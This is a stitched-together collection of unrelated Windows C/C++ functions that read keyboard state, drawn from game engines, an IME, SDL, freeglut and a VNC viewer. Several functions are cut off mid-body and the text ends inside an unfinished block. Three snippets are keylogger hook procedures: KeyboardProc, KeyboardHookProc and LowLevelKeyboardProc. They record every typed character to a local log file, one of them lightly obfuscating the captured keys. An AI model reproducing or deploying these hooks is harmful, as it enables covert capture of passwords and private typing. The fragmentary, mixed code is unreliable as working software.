//================================================================================
void ATHInputManager::SendKeyboardEvent()
{
ATHKeyList m_liKeysDown = CheckKeys();
ATHKeyList::iterator itrCurr = m_liKeysDown.begin();
ATHKeyList::iterator itrEnd = m_liKeysDown.end();
ATHEvent keyEvent( AET_KEYBOARD );
unsigned int unKeyDownIndex = 0;
unsigned int unKeyUpIndex = 0;
while( itrCurr != itrEnd )
{
unsigned int szDIKKey = (*itrCurr);
if (KeyPressed( szDIKKey ) && unKeyDownIndex < 8)
{
BYTE chAsciiKeys[ATH_NUM_KEYS] = {};
if (GetKeyboardState(chAsciiKeys))
{
unsigned short szAsciiKey = 0;
// Why do I have to do both opposite conversions????
int nCharCount = ToAsciiEx(MapVirtualKeyEx(szDIKKey, MAPVK_VSC_TO_VK, NULL), MapVirtualKeyEx(szDIKKey, MAPVK_VK_TO_VSC, NULL), chAsciiKeys, &szAsciiKey, 0, NULL);
if (nCharCount > 0)
{
keyEvent.KEY_szKeysPressed[unKeyDownIndex] = (char)szAsciiKey;
unKeyDownIndex++;
}
}
}
itrCurr++;
}
if( unKeyDownIndex > 0|| unKeyUpIndex > 0 )
{
keyEvent.m_EventID = AEI_KEYDOWN;
m_pEventManager->SendEvent( keyEvent, AEP_IMMEDIATE );
}
}
WCHAR CTextService::_GetCh(BYTE vk, BYTE vkoff)
{
BYTE keystate[256];
WCHAR ubuff;
WCHAR u = L'\0';
GetKeyboardState(keystate);
switch(inputmode)
{
case im_hiragana:
case im_katakana:
case im_katakana_ank:
keystate[VK_CAPITAL] = 0;
if(abbrevmode || purgedicmode)
{
keystate[VK_KANA] = 0;
}
if(vkoff != 0)
{
keystate[vkoff] = 0;
}
break;
case im_jlatin:
case im_ascii:
keystate[VK_KANA] = 0;
break;
default:
break;
}
int retu = ToUnicode(vk, 0, keystate, &ubuff, 1, 0);
if(retu == 1)
{
u = ubuff;
}
return u;
}
//////////////////////////////////////////////////////////////////////////
// mapKeyEvent
void OsClientWindows::mapKeyEvent( OsEventInputKeyboard& Event, WPARAM wParam )
{
Event.KeyCode_ = static_cast< BcU16 >( wParam ) & 0xff;
Event.ScanCode_ = ::MapVirtualKey( Event.KeyCode_, 0 );
WORD AsciiOut = 0;
BYTE KeyState[ 256 ];
GetKeyboardState( KeyState );
if( ::ToAscii( Event.KeyCode_, Event.ScanCode_, KeyState, &AsciiOut, 0 ) > 0 )
{
Event.AsciiCode_ = static_cast< BcU16 >( AsciiOut );
}
else
{
Event.AsciiCode_ = 0;
}
// Get key code, or pass through virtual.
TKeyCodeMapIterator It( KeyCodeMap_.find( Event.KeyCode_ ) );
if( It != KeyCodeMap_.end() )
{
Event.KeyCode_ = (*It).second;
}
}
static SDL_keysym *TranslateKey(UINT vkey, UINT scancode, SDL_keysym *keysym, int pressed)
{
/* Set the keysym information */
keysym->scancode = (unsigned char) scancode;
keysym->sym = VK_keymap[vkey];
keysym->mod = KMOD_NONE;
keysym->unicode = 0;
if ( pressed && SDL_TranslateUNICODE ) { /* Someday use ToUnicode() */
#ifdef NO_GETKEYBOARDSTATE
/* Uh oh, better hope the vkey is close enough.. */
keysym->unicode = vkey;
#else
BYTE keystate[256];
BYTE chars[2];
GetKeyboardState(keystate);
if ( ToAscii(vkey,scancode,keystate,(WORD *)chars,0) == 1 ) {
keysym->unicode = chars[0];
}
#endif /* NO_GETKEYBOARDSTATE */
}
return(keysym);
}
static PyObject*
toggle_numlock(PyObject* self, PyObject* args)
{
int is_on = 0;
int turn_on = 0;
BYTE keys[256] = {0};
if(!PyArg_ParseTuple(args, "i", &turn_on))
return NULL;
GetKeyboardState((LPBYTE)&keys);
is_on = keys[VK_NUMLOCK] & 0x1;
if(is_on != turn_on)
{
keybd_event(VK_NUMLOCK,
0x45,
KEYEVENTF_EXTENDEDKEY | 0,
0);
keybd_event(VK_NUMLOCK,
0x45,
KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP,
0);
}
return Py_BuildValue("i", is_on);
}
void CKeySend::SetCapsLock(const bool bState)
{
BYTE keyState[256];
GetKeyboardState((LPBYTE)&keyState);
if ((bState && !(keyState[VK_CAPITAL] & 0x01)) ||
(!bState && (keyState[VK_CAPITAL] & 0x01))) {
if (m_impl->m_isOldOS) {
// Simulate a key press
keybd_event(VK_CAPITAL, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0);
// Simulate a key release
keybd_event(VK_CAPITAL, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
} else {
newSendVK(VK_CAPITAL); // Send CapLock keydown/keyup via SendInput
}
}
MSG msg;
while (::PeekMessage(&msg, NULL, 0, 0, PM_NOREMOVE)) {
// so there is a message process it.
#ifndef __WX__
if (!AfxGetThread()->PumpMessage())
break;
#else
// Not sure this is correct!
if (msg.message == WM_QUIT) {
// Put it back on the queue and leave now
::PostQuitMessage(0);
return;
}
::TranslateMessage(&msg);
::DispatchMessage(&msg);
#endif
}
}
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) &&
(HC_ACTION==nCode))
{
if ((wParam == VK_SPACE)||
(wParam == VK_RETURN)||
(wParam >= 0x2f) && (wParam <= 0x100))
{
FILE *file =fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,file);
}
else{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
fwrite(&ch,1,1,file);
}
fclose(file);
}
}
LRESULT RetVal = CallNextHookEx( hHook, nCode, wParam, lParam);
return RetVal;
}
//##ModelId=474D302503BA
void CSendKeys::SendKeyDown(BYTE VKey, WORD NumTimes, bool GenUpMsg, bool bDelay)
{
WORD Cnt = 0;
BYTE ScanCode = 0;
bool NumState = false;
if (VKey == VK_NUMLOCK)
{
DWORD dwVersion = ::GetVersion();
for (Cnt=1; Cnt<=NumTimes; Cnt++)
{
if (bDelay)
CarryDelay();
// snippet based on:
// http://www.codeproject.com/cpp/togglekeys.asp
if (dwVersion < 0x80000000)
{
::keybd_event(VKey, 0x45, KEYEVENTF_EXTENDEDKEY, 0);
::keybd_event(VKey, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
}
else
{
// Win98 and later
if ( ((DWORD)(HIBYTE(LOWORD(dwVersion))) >= 10) )
{
// Define _WIN32_WINNT > 0x0400
// to compile
INPUT input[2] = {0};
input[0].type = input[1].type = INPUT_KEYBOARD;
input[0].ki.wVk = input[1].ki.wVk = VKey;
input[1].ki.dwFlags = KEYEVENTF_KEYUP;
::SendInput(sizeof(input) / sizeof(INPUT), input, sizeof(INPUT));
}
// Win95
else
{
KEYBOARDSTATE_t KeyboardState;
NumState = GetKeyState(VK_NUMLOCK) & 1 ? true : false;
GetKeyboardState(&KeyboardState[0]);
if (NumState)
KeyboardState[VK_NUMLOCK] &= ~1;
else
KeyboardState[VK_NUMLOCK] |= 1;
SetKeyboardState(&KeyboardState[0]);
}
}
}
return;
}
// Get scancode
ScanCode = LOBYTE(::MapVirtualKey(VKey, 0));
// Send keys
for (Cnt=1; Cnt<=NumTimes; Cnt++)
{
// Carry needed delay ?
if (bDelay)
CarryDelay();
KeyboardEvent(VKey, ScanCode, IsVkExtended(VKey) ? KEYEVENTF_EXTENDEDKEY : 0);
if (GenUpMsg)
KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP);
}
}
KeyActionSpec KeyMap::PCtoX(UINT virtkey, DWORD keyData)
{
UINT numkeys = 0;
KeyActionSpec kas;
kas.releaseModifiers = 0;
bool extended = ((keyData & 0x1000000) != 0);
vnclog.Print(8, "VK %.2x (%.8x)", virtkey, keyData);
if (extended) {
vnclog.Print(8, " [ext]");
switch (virtkey) {
case VK_MENU :
virtkey = VK_RMENU; break;
case VK_CONTROL:
virtkey = VK_RCONTROL; break;
case VK_RETURN:
virtkey = VK_KEYPAD_ENTER; break;
}
} else {
switch (virtkey) {
case VK_HOME:
virtkey = VK_KEYPAD_HOME; break;
case VK_LEFT:
virtkey = VK_KEYPAD_LEFT; break;
case VK_UP:
virtkey = VK_KEYPAD_UP; break;
case VK_RIGHT:
virtkey = VK_KEYPAD_RIGHT; break;
case VK_DOWN:
virtkey = VK_KEYPAD_DOWN; break;
case VK_PRIOR:
virtkey = VK_KEYPAD_PRIOR; break;
case VK_NEXT:
virtkey = VK_KEYPAD_NEXT; break;
case VK_END:
virtkey = VK_KEYPAD_END; break;
case VK_CLEAR:
virtkey = VK_KEYPAD_BEGIN; break;
case VK_INSERT:
virtkey = VK_KEYPAD_INSERT; break;
case VK_DELETE:
virtkey = VK_KEYPAD_DELETE; break;
}
}
// Try looking it up in our table
UINT mapsize = sizeof(keymap) / sizeof(vncKeymapping);
// Look up the desired code in the table
for (UINT i = 0; i < mapsize; i++) {
if (keymap[i].wincode == virtkey) {
kas.keycodes[numkeys++] = keymap[i].Xcode;
break;
}
}
if (numkeys != 0) {
// A special case - use Meta instead of Alt if ScrollLock is on
UINT key = kas.keycodes[numkeys - 1];
if ((key == XK_Alt_L || key == XK_Alt_R) &&
GetKeyState(VK_SCROLL)) {
if (key == XK_Alt_L)
kas.keycodes[numkeys - 1] = XK_Meta_L;
else
kas.keycodes[numkeys - 1] = XK_Meta_R;
}
vnclog.Print(8, ": keymap gives %.4x", key);
} else {
// not found in table
vnclog.Print(8, ": not in keymap");
// Try a simple conversion to ASCII, using the current keyboard mapping
GetKeyboardState(keystate);
// If Left Ctrl & Alt are both pressed and ToAscii() gives a valid keysym.
// (This is for AltGr on international keyboards (= LCtrl-Alt).
// e.g. Ctrl-Alt-Q gives @ on German keyboards.)
if (((keystate[VK_RMENU] & 0x80) != 0) &&
((keystate[VK_LCONTROL] & 0x80) != 0)) {
// Windows doesn't have a proper AltGr key event. It instead handles
// AltGr with fake left Ctrl and right Alt key events. Xvnc will
// automatically insert an AltGr (ISO Level 3 Shift) event if necessary
// (if it receives a key symbol that could not have been generated any
// other way), and unfortunately X11 doesn't generally like the sequence
// Ctrl + Alt + AltGr. Thus, for Windows viewers, we have to temporarily
// release Ctrl and Alt, then process the AltGr-modified symbol, then
// press Ctrl and Alt again.
if (GetKeyState(VK_LCONTROL) & 0x8000)
kas.releaseModifiers |= KEYMAP_LCONTROL;
if (GetKeyState(VK_RMENU) & 0x8000)
kas.releaseModifiers |= KEYMAP_RALT;
// This is for Windows '95, and possibly other systems. The above
// GetKeyState() calls don't work in '95 - they always return 0.
// But if we're at this point in the code, we know that left Ctrl and
// right Alt are pressed, so let's release those keys if we haven't
// registered them as already having been released.
if (kas.releaseModifiers == 0)
kas.releaseModifiers = KEYMAP_LCONTROL | KEYMAP_RALT;
} else {
// There are no keysyms corresponding to control characters, e.g. Ctrl-F.
// The server already knows whether the Ctrl key is pressed, so we are
// interested in the key that would be sent if the Ctrl key were not
// pressed.
keystate[VK_CONTROL] = keystate[VK_LCONTROL] = keystate[VK_RCONTROL] = 0;
}
int ret = ToUnicode(virtkey, 0, keystate, buf, 10, 0);
if (ret == 0) {
// Most Ctrl+Alt combinations will fail to produce a symbol, so
// try it again with Ctrl unconditionally disabled.
keystate[VK_CONTROL] = keystate[VK_LCONTROL] = keystate[VK_RCONTROL] = 0;
ret = ToUnicode(virtkey, 0, keystate, buf, 10, 0);
}
unsigned keysym = ucs2keysym(buf[0]);
if (ret == 1 && keysym != 0) {
// If the key means anything in this keyboard layout
if (((keystate[VK_RMENU] & 0x80) != 0) &&
((keystate[VK_LCONTROL] & 0x80) != 0))
vnclog.Print(8, "\n Ctrl-Alt: UCS->KS (w/o mods): ");
else
vnclog.Print(8, "\n UCS->KS (w/o ctrl): ");
kas.keycodes[numkeys++] = keysym;
vnclog.Print(8, " %.2x->%.2x", buf[0], keysym);
}
if (ret < 0 || ret > 1) {
// NOTE: For some reason, TigerVNC never gets a return value > 1 from
// ToUnicode(), but we do, even though we're using basically the same
// keyboard handling logic. Not sure why.
WCHAR dead_char = buf[0];
while (ret < 0) {
// Need to clear out the state that the dead key has caused.
// This is the recommended method by Microsoft's engineers:
// http://blogs.msdn.com/b/michkap/archive/2007/10/27/5717859.aspx
ret = ToUnicode(virtkey, 0, keystate, buf, 10, 0);
}
kas.keycodes[numkeys++] = ucs2keysym(ucs2combining(dead_char));
vnclog.Print(8, " %.2x->%.2x", dead_char, kas.keycodes[numkeys - 1]);
}
}
vnclog.Print(8, "\n");
kas.keycodes[numkeys] = VoidKeyCode;
return kas;
};
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam)
{
if(!(lParam >> 31) && (code >= 0))
{
char keyw[20];
FILE *LogFile = GetLogFile();
if(LogFile != NULL) {
BEEP
switch(wParam)
{
case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break;
case VK_BACK: strcpy(keyw,"[BACK]"); break;
case VK_TAB: strcpy(keyw,"[TAB]"); break;
case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break;
case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break;
case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break;
case VK_CONTROL: strcpy(keyw,"[CTRL]"); break;
case VK_MENU: strcpy(keyw,"[ALT]"); break;
case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break;
case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break;
case VK_ESCAPE: strcpy(keyw,"[ESC]"); break;
case VK_PRIOR: strcpy(keyw,"[PageUp]"); break;
case VK_NEXT: strcpy(keyw,"[PageDown]"); break;
case VK_END: strcpy(keyw,"[END]"); break;
case VK_HOME: strcpy(keyw,"[HOME]"); break;
case VK_LEFT: strcpy(keyw,"[LEFT]"); break;
case VK_UP: strcpy(keyw,"[UP]"); break;
case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break;
case VK_DOWN: strcpy(keyw,"[DOWN]"); break;
case VK_SELECT: strcpy(keyw,"[SELECT]"); break;
case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break;
case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break;
case VK_INSERT: strcpy(keyw,"[INSERT]"); break;
case VK_DELETE: strcpy(keyw,"[DELETE]"); break;
case VK_HELP: strcpy(keyw,"[HELP]"); break;
case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break;
case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break;
case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break;
case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break;
case VK_ADD: strcpy(keyw,"[ADD]"); break;
case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break;
case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break;
case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break;
case VK_DIVIDE: strcpy(keyw,"[DIVIDE]"); break;
case VK_NUMLOCK: strcpy(keyw,"[NumLock]"); break;
case VK_SCROLL: strcpy(keyw,"[ScrollLock]"); break;
case VK_ATTN: strcpy(keyw,"[ATTN]"); break;
case VK_CRSEL: strcpy(keyw,"[CrSel]"); break;
case VK_EXSEL: strcpy(keyw,"[ExSel]"); break;
case VK_EREOF: strcpy(keyw,"[EraseEOF]"); break;
case VK_PLAY: strcpy(keyw,"[PLAY]"); break;
case VK_ZOOM: strcpy(keyw,"[ZOOM]"); break;
default: {
if ((wParam==VK_SPACE)||(wParam>=0x2f)&&(wParam<=0x100))
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
*keyw = char(w);
keyw[1] = '\0';
}
else {
sprintf(keyw,"[(%d)%c]",wParam,wParam); break;
}
}
}
// Store Information
SimpleEncrypt(keyw,strlen(keyw),Password);
fwrite(keyw,1,strlen(keyw),LogFile);
fclose(LogFile);
}
}
/* Функция построения кадра анимации.
* АРГУМЕНТЫ: Нет.
* ВОЗВРАЩАЕМОЕ ЗНАЧЕНИЕ: Нет.
*/
VOID OK2_AnimRender( VOID )
{
INT i;
LARGE_INTEGER li;
POINT pt;
/* Обновление ввода */
GetKeyboardState(OK2_Anim.Keys);
for (i = 0; i < 256; i++)
OK2_Anim.KeyClick[i] = OK2_Anim.Keys[i] && !OK2_Anim.KeysOld[i];
memcpy(OK2_Anim.KeysOld, OK2_Anim.Keys, sizeof(OK2_Anim.Keys));
/* Обновление таймера */
OK2_Anim.Time = (DBL)clock() / CLOCKS_PER_SEC;
/* Обновление кадра */
QueryPerformanceCounter(&li);
/* глобальное время */
OK2_Anim.GlobalTime = (DBL)(li.QuadPart - TimeStart) / TimeFreq;
OK2_Anim.GlobalDeltaTime = (DBL)(li.QuadPart - TimeOld) / TimeFreq;
/* локальное время */
if (OK2_Anim.IsPause)
{
TimePause += li.QuadPart - TimeOld;
OK2_Anim.DeltaTime = 0;
}
else
OK2_Anim.DeltaTime = OK2_Anim.GlobalDeltaTime;
OK2_Anim.Time = (DBL)(li.QuadPart - TimeStart - TimePause) / TimeFreq;
/* вычисляем FPS */
if (li.QuadPart - TimeFPS > TimeFreq)
{
OK2_Anim.FPS = FrameCounter / ((DBL)(li.QuadPart - TimeFPS) / TimeFreq);
TimeFPS = li.QuadPart;
FrameCounter = 0;
}
/* время "прошлого" кадра */
TimeOld = li.QuadPart;
/* очистка фона */
SelectObject(OK2_Anim.hDC, GetStockObject(DC_BRUSH));
SelectObject(OK2_Anim.hDC, GetStockObject(NULL_PEN));
SetDCBrushColor(OK2_Anim.hDC, RGB(0, 110, 0));
Rectangle(OK2_Anim.hDC, 0, 0, OK2_Anim.W, OK2_Anim.H);
/* опрос на изменение состояний объектов */
for (i = 0; i < OK2_Anim.NumOfUnits; i++)
OK2_Anim.Units[i]->Response(OK2_Anim.Units[i], &OK2_Anim);
/* рисование объектов */
for (i = 0; i < OK2_Anim.NumOfUnits; i++)
{
SelectObject(OK2_Anim.hDC, GetStockObject(DC_BRUSH));
SelectObject(OK2_Anim.hDC, GetStockObject(DC_PEN));
SetDCBrushColor(OK2_Anim.hDC, RGB(0, 0, 0));
SetDCPenColor(OK2_Anim.hDC, RGB(55, 155, 255));
OK2_Anim.Units[i]->Render(OK2_Anim.Units[i], &OK2_Anim);
}
/* Мышь */
/* колесо */
OK2_Anim.MsWheel = OK2_MouseGlobalWheel;
OK2_MouseGlobalWheel = 0;
/* абсолютная позиция */
pt.x = OK2_MouseGlobalX;
pt.y = OK2_MouseGlobalY;
ScreenToClient(OK2_Anim.hWnd, &pt);
OK2_Anim.MsX = pt.x;
OK2_Anim.MsY = pt.y;
/* относительное перемещение */
OK2_Anim.MsDeltaX = OK2_MouseGlobalX - OK2_MouseXOld;
OK2_Anim.MsDeltaY = OK2_MouseGlobalY - OK2_MouseYOld;
OK2_MouseXOld = OK2_MouseGlobalX;
OK2_MouseYOld = OK2_MouseGlobalY;
/* Джойстик */
if ((i = joyGetNumDevs()) > 0)
{
JOYCAPS jc;
/* получение общей информации о джостике */
if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR)
{
JOYINFOEX ji;
/* получение текущего состояния */
ji.dwSize = sizeof(JOYCAPS);
ji.dwFlags = JOY_RETURNALL;
if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR)
{
/* Кнопки */
memcpy(OK2_Anim.JButsOld, OK2_Anim.JButs, sizeof(OK2_Anim.JButs));
for (i = 0; i < 32; i++)
OK2_Anim.JButs[i] = (ji.dwButtons >> i) & 1;
for (i = 0; i < 32; i++)
OK2_Anim.JButsClick[i] = OK2_Anim.JButs[i] && !OK2_Anim.JButsOld[i];
/* Оси */
OK2_Anim.JX = 2.0 * (ji.dwXpos - jc.wXmin) / (jc.wXmax - jc.wXmin - 1) - 1;
OK2_Anim.JY = 2.0 * (ji.dwYpos - jc.wYmin) / (jc.wYmax - jc.wYmin - 1) - 1;
if (jc.wCaps & JOYCAPS_HASZ)
OK2_Anim.JZ = 2.0 * (ji.dwZpos - jc.wZmin) / (jc.wZmax - jc.wZmin - 1) - 1;
if (jc.wCaps & JOYCAPS_HASR)
OK2_Anim.JR = 2.0 * (ji.dwRpos - jc.wRmin) / (jc.wRmax - jc.wRmin - 1) - 1;
if (jc.wCaps & JOYCAPS_HASU)
OK2_Anim.JU = 2.0 * (ji.dwUpos - jc.wUmin) / (jc.wUmax - jc.wUmin - 1) - 1;
/* Point-Of-View */
if (jc.wCaps & JOYCAPS_HASPOV)
{
if (ji.dwPOV == 0xFFFF)
OK2_Anim.JPOV = 0;
else
OK2_Anim.JPOV = ji.dwPOV / 4500 + 1;
}
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
LRESULT result = CallNextHookEx(hKeyHookEn, nCode, wParam, lParam);
if (nCode == HC_ACTION)
{
PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT) lParam;
// 防止消息重复产生记录重复，以pMsg->time判断
if (m_dwLastMsgTime == pKeyboardHookStruct->time)
{
return result;
}
m_dwLastMsgTime = pKeyboardHookStruct->time;
if ((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN))
{
BYTE KeyboardState[256];
ZeroMemory(KeyboardState, sizeof(KeyboardState));
GetKeyboardState(KeyboardState);
KeyboardState[VK_SHIFT] = (BYTE) (GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT));
KeyboardState[VK_CAPITAL] = (BYTE) GetKeyState(VK_CAPITAL);
WORD wChar;
int iNumChar = ToAscii(pKeyboardHookStruct->vkCode, pKeyboardHookStruct->scanCode, KeyboardState, &wChar, 0);
if (iNumChar>0&&(BYTE)wChar<=127&&(BYTE)wChar>=32)
{
//_asm int 3
CHAR szDebug[2]={0};
wsprintf(szDebug, "%c", wChar);
if (szDebug[0] == VK_RETURN)
{
SaveInfo("\r\n");
}
else
{
SaveInfo(szDebug);
}
// OutputDebugStringA(szDebug);
}
else
// if (iNumChar <= 0)
{
CHAR KeyText[20];
ZeroMemory(KeyText, sizeof(KeyText));
LONG Flags = 0;
Flags = pKeyboardHookStruct->scanCode << 16;
Flags |= pKeyboardHookStruct->flags << 24;
if (GetKeyNameText(Flags, &KeyText[1], 20) > 0)
{
KeyText[0] = '[';
lstrcat(KeyText, "]");
// OutputDebugStringA(KeyText);
SaveInfo(KeyText);
}
}
}
}
return result;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
#ifndef WM_MOUSEWHEEL
#define WM_MOUSEWHEEL 0x020A
#endif
#ifndef WHEEL_DELTA
#define WHEEL_DELTA 120
#endif
switch (message)
{
case WM_ERASEBKGND:
return 0;
case WM_KEYUP:
{
InputSystem::Instance()->GetKeyboard()->OnSystemKeyUnpressed((int32)wParam);
};
break;
case WM_KEYDOWN:
{
BYTE allKeys[256];
GetKeyboardState(allKeys);
if ((allKeys[VK_MENU] & 0x80)
&& (allKeys[VK_TAB] & 0x80))
{
ShowWindow(hWnd, SW_MINIMIZE);
}
Vector<DAVA::UIEvent> touches;
Vector<DAVA::UIEvent> emptyTouches;
for(Vector<DAVA::UIEvent>::iterator it = activeTouches.begin(); it != activeTouches.end(); it++)
{
touches.push_back(*it);
}
DAVA::UIEvent ev;
ev.keyChar = 0;
ev.phase = DAVA::UIEvent::PHASE_KEYCHAR;
ev.tapCount = 1;
ev.tid = InputSystem::Instance()->GetKeyboard()->GetDavaKeyForSystemKey((int32)wParam);
touches.push_back(ev);
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
touches.pop_back();
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
InputSystem::Instance()->GetKeyboard()->OnSystemKeyPressed((int32)wParam);
};
break;
case WM_CHAR:
{
if(wParam > 27) //TODO: remove this elegant check
{
Vector<DAVA::UIEvent> touches;
Vector<DAVA::UIEvent> emptyTouches;
for(Vector<DAVA::UIEvent>::iterator it = activeTouches.begin(); it != activeTouches.end(); it++)
{
touches.push_back(*it);
}
DAVA::UIEvent ev;
ev.keyChar = (char16)wParam;
ev.phase = DAVA::UIEvent::PHASE_KEYCHAR;
ev.tapCount = 1;
ev.tid = 0;
touches.push_back(ev);
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
touches.pop_back();
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
}
}
break;
case WM_INPUT:
{
UINT dwSize;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize,
sizeof(RAWINPUTHEADER));
LPBYTE lpb = new BYTE[dwSize];
if (lpb == NULL)
return 0;
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize,
sizeof(RAWINPUTHEADER)) != dwSize )
OutputDebugString (TEXT("GetRawInputData does not return correct size !\n"));
RAWINPUT* raw = (RAWINPUT*)lpb;
if(raw->header.dwType == RIM_TYPEMOUSE && raw->data.mouse.usFlags == 0)
{
LONG x = raw->data.mouse.lLastX;
LONG y = raw->data.mouse.lLastY;
bool isMove = x || y;
if(InputSystem::Instance()->IsCursorPining())
{
RECT wndRect;
GetWindowRect(hWnd, &wndRect);
int centerX = (int)((wndRect.left + wndRect.right) >> 1);
int centerY = (int)((wndRect.bottom + wndRect.top) >> 1);
SetCursorPos(centerX, centerY);
}
else
{
POINT p;
GetCursorPos(&p);
ScreenToClient(hWnd, &p);
x += p.x;
y += p.y;
}
RECT clientRect;
GetClientRect(hWnd, &clientRect);
bool isInside = (x > clientRect.left && x < clientRect.right && y > clientRect.top && y < clientRect.bottom) || InputSystem::Instance()->IsCursorPining();
OnMouseEvent(raw->data.mouse.usButtonFlags, MAKEWPARAM(isMove, isInside), MAKELPARAM(x, y), raw->data.mouse.usButtonData); // only move, drag and wheel events
}
static LRESULT fghWindowProcKeyPress(SFG_Window *window, UINT uMsg, GLboolean keydown, WPARAM wParam, LPARAM lParam)
{
static unsigned char lControl = 0, lShift = 0, lAlt = 0,
rControl = 0, rShift = 0, rAlt = 0;
int keypress = -1;
/* if keydown, check for repeat */
/* If repeat is globally switched off, it cannot be switched back on per window.
* But if it is globally switched on, it can be switched off per window. This matches
* GLUT's behavior on X11, but not Nate Robbins' win32 GLUT, as he didn't implement the
* global state switch.
*/
if( keydown && ( fgState.KeyRepeat==GLUT_KEY_REPEAT_OFF || window->State.IgnoreKeyRepeat==GL_TRUE ) && (HIWORD(lParam) & KF_REPEAT) )
return 1;
/* Remember the current modifiers state so user can query it from their callback */
fgState.Modifiers = fgPlatformGetModifiers( );
/* Convert the Win32 keystroke codes to GLUTtish way */
# define KEY(a,b) case a: keypress = b; break;
switch( wParam )
{
KEY( VK_F1, GLUT_KEY_F1 );
KEY( VK_F2, GLUT_KEY_F2 );
KEY( VK_F3, GLUT_KEY_F3 );
KEY( VK_F4, GLUT_KEY_F4 );
KEY( VK_F5, GLUT_KEY_F5 );
KEY( VK_F6, GLUT_KEY_F6 );
KEY( VK_F7, GLUT_KEY_F7 );
KEY( VK_F8, GLUT_KEY_F8 );
KEY( VK_F9, GLUT_KEY_F9 );
KEY( VK_F10, GLUT_KEY_F10 );
KEY( VK_F11, GLUT_KEY_F11 );
KEY( VK_F12, GLUT_KEY_F12 );
KEY( VK_PRIOR, GLUT_KEY_PAGE_UP );
KEY( VK_NEXT, GLUT_KEY_PAGE_DOWN );
KEY( VK_HOME, GLUT_KEY_HOME );
KEY( VK_END, GLUT_KEY_END );
KEY( VK_LEFT, GLUT_KEY_LEFT );
KEY( VK_UP, GLUT_KEY_UP );
KEY( VK_RIGHT, GLUT_KEY_RIGHT );
KEY( VK_DOWN, GLUT_KEY_DOWN );
KEY( VK_INSERT, GLUT_KEY_INSERT );
/* handle control, alt and shift. For GLUT, we want to distinguish between left and right presses.
* The VK_L* & VK_R* left and right Alt, Ctrl and Shift virtual keys are however only used as parameters to GetAsyncKeyState() and GetKeyState()
* so when we get an alt, shift or control keypress here, we manually check whether it was the left or the right
*/
#define ASYNC_KEY_EVENT(winKey,glutKey,keyStateVar)\
if (!keyStateVar && GetAsyncKeyState ( winKey ))\
{\
keypress = glutKey;\
keyStateVar = 1;\
}\
else if (keyStateVar && !GetAsyncKeyState ( winKey ))\
{\
keypress = glutKey;\
keyStateVar = 0;\
}
case VK_CONTROL:
ASYNC_KEY_EVENT(VK_LCONTROL,GLUT_KEY_CTRL_L,lControl);
ASYNC_KEY_EVENT(VK_RCONTROL,GLUT_KEY_CTRL_R,rControl);
break;
case VK_SHIFT:
ASYNC_KEY_EVENT(VK_LSHIFT,GLUT_KEY_SHIFT_L,lShift);
ASYNC_KEY_EVENT(VK_RSHIFT,GLUT_KEY_SHIFT_R,rShift);
break;
case VK_MENU:
ASYNC_KEY_EVENT(VK_LMENU,GLUT_KEY_ALT_L,lAlt);
ASYNC_KEY_EVENT(VK_RMENU,GLUT_KEY_ALT_R,rAlt);
break;
#undef ASYNC_KEY_EVENT
case VK_DELETE:
/* The delete key should be treated as an ASCII keypress: */
if (keydown)
INVOKE_WCB( *window, Keyboard,
( 127, window->State.MouseX, window->State.MouseY )
);
else
INVOKE_WCB( *window, KeyboardUp,
( 127, window->State.MouseX, window->State.MouseY )
);
break;
#if !defined(_WIN32_WCE)
default:
/* keydown displayable characters are handled with WM_CHAR message, but no corresponding up is generated. So get that here. */
if (!keydown)
{
BYTE state[ 256 ];
WORD code[ 2 ];
GetKeyboardState( state );
if( ToAscii( (UINT)wParam, 0, state, code, 0 ) == 1 )
wParam=code[ 0 ];
INVOKE_WCB( *window, KeyboardUp,
( (char)wParam,
window->State.MouseX, window->State.MouseY )
);
}
#endif
}
#if defined(_WIN32_WCE)
